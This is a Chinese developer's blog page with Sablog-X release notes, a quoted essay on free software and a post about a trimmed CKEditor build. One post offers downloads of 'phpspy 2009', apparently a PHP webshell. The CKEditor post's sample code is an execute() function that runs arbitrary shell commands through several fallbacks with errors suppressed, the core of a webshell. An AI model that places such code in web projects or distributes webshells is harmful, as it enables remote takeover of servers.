我的作品

更新 Sablog-X 2.0 build 20100301

过完元宵节。终于有时间上网了。

修补了那两个安全漏洞。还有一些功能上的BUG。附件里一个是完整的程序包。一个是升级包。大家对应版本号来升级吧。给各位造成损失。非常抱歉啊。

登陆后台如果没有升级。也会有提示的。

sablog-x 2.0 beta(20100301).rar (1009.21 K, 下载次数:630, 上传时间:2010-03-01 11:42)
20100121-20100301.rar (75.83 K, 下载次数:129, 上传时间:2010-03-01 11:42)

纪念老婆生日发布phpspy 2009

不用多说。懂得人都知道这个玩意的重要性和威力。。

其中一个是带管理mssql功能版,其中一个是无数据库支持版。针对实际情况使用吧。

phpspy 2010功能正在构思中。在phpspy 2009基础上。再度精简、优化代码。实现oracle、sybase、db2的支持等等。。。。


仅为了纪念老婆满22岁的生日。还有半年到一年。就领证。

2009lite.php (38.08 K, 下载次数:689, 上传时间:2010-02-07 04:17)
2009mssql.php (94.62 K, 下载次数:648, 上传时间:2010-02-07 03:51)

Tags: phpspy

Sablog-X 2.0 Beta(20100124)

老婆放假了。太开心了。为了庆祝一下。决定发布最新的sablog-x 2.0测试版。

也许还有很多人性化方面值得改进(这个是肯定的)。Sablog-X 2.0 Beta(20100121)并不是2.0最终版本。但是数据结构基本不会再有大的动作。

众多2.0版本中也存在数据结构的变化。如果是我之前给的或者是网上泄露的版本升级。请来信或QQ咨询我数据表的转换以及升级注意事项。

针对Sablog-X 2.0 Beta(20100121)的改进

  1. 修正:普通用户登录后显示无权限的BUG
  2. 改进:评论翻页直接跳到评论部分
2.0(20100121)-2.0(20100124).rar (6.31 K, 下载次数:156, 上传时间:2010-01-24 14:45)
sablog-x 2.0 beta(20100124).rar (942.06 K, 下载次数:916, 上传时间:2010-01-24 14:45)

Tags: sablog-x

不要用商业眼光来看Sablog-X

最近在看Ubuntu中文社区。发现有这么一段话:

---------------------------- 可爱的分割线 ---------------------------

不要用商业的眼光来看 Linux。

Linux 不是商业软件,所以不要用要求 Solaris, Windows 那样的眼光来看 Linux. 自由软件的作者们从来不拉拢用户,他们对用户不负有任何责任。实际上在自由软件的世界里,“开发者”和“用户” 并没有明确的界限,大家是朋友。

自由软件很可能只是满足作者和他的朋友的需要,甚至是为了好玩而创造的。自由软件不是完美的,自由软件承认自己有缺点,它不会自吹自擂,蒙蔽“用户”的耳目。这种对作者责任的解脱激发了作者的创造力,他们不用过分考虑“向上兼容”,他们往往比背上重重包袱的商业软件结构更合理,技术更先进。

所以当你用某个自由软件遇到困难的时候,不应该埋怨软件的作者,因为他们对你并没有义务。你不应该把自己当成一个挑剔的顾客,而要把自己作为这个软件的顾问和一个和蔼的建议者,这样你才能理解作者写这个程序时的快乐,在遇到问题时向作者反映,帮助他完善这个软件,成为一个快乐的参与者。就像你的哥哥送你一个他用旧了的自行车,你应该珍惜这份友情,而不要在车坏了,或者骑车摔了一交的时候大骂你的哥哥。如果你真的不能使用这种合作的心态,那么最好不要使用这个软件。

这是一种先进的文化,它包含了互相合作,科学创新的精神。理解这一点不是很容易,很多人往往是因为不能理解这种文化而离开自由软件。这对于作者来说并没有什么损失。

---------------------------- 可爱的分割线 ---------------------------

我发现这句话。好像蛮多地方还挺适用于Sablog-X的。

CKeditor 3.1 精简版带SyntaxHighlighter插件

ckeditor 3.1 精简版带SyntaxHighlighter插件随Sablog-X发布。本文只是预告而已。。。

演示地址:http://www.sablog.net/blog/include/editor/

该版本基于 CKEditor 3.1 (revision 4891) 正式版修改,并加入了SyntaxHighlighter 2.1.364的支持。旨在提高加载速度,删除不常用的功能,达到精简和优化的目的。

本次修改是基于源代码精简和优化再重新编译,保证功能正常的情况下,确保不残留任何垃圾、无用的代码。通过修改内容可以看出,几乎都是为了提高加载速度和提高实用程度而做的修改。Sablog-X和Sa系列程序将一直延续使用本人所精简的CKeditor。

CKeditor 3.1 精简版:

  1. 删除表单功能
  2. 删除上传功能
  3. 删除拼写检查功能
  4. 删除模板功能
  5. 删除图像、链接、FLASH插入中的高级选项卡功能
  6. 删除原来的表情并用QQ表情代替
  7. 删除特殊字符功能
  8. 仅保留简体中文语言包
  9. 删除Office 2003和V2风格
  10. 进一步优化代码
  11. 加入插入代码功能(前台支持需要手工加入SyntaxHighlighter)

给需要一些常用的功能,但是又对加载速度要求很高的朋友或者程序开发人员。因此,这个版本并不算极度精简版。但是在速度和体积上,已经远远优于官方原版。以后有空将继续在此版本基础上进行精简,并作更大程度的优化。

测试PHP代码:

function execute($cfe) {
	$res = '';
	if ($cfe) {
		if(function_exists('exec')) {
			@exec($cfe,$res);
			$res = join("\n",$res);
		} elseif(function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
		} elseif(function_exists('system')) {
			@ob_start();
			@system($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(function_exists('passthru')) {
			@ob_start();
			@passthru($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(@is_resource($f = @popen($cfe,"r"))) {
			$res = '';
			while(!@feof($f)) {
				$res .= @fread($f,1024); 
			}
			@pclose($f);
		}
	}
	return $res;
}

CKeditor版权归其开发团队所有。

有好的精简建议请联系我。如果有BUG,麻烦请看官方的演示,确保是精简造成的,也可以联系我。谢谢。

Tags: 精简 , ckeditor

Total: 119Page 1 of 241234567Next ›Last »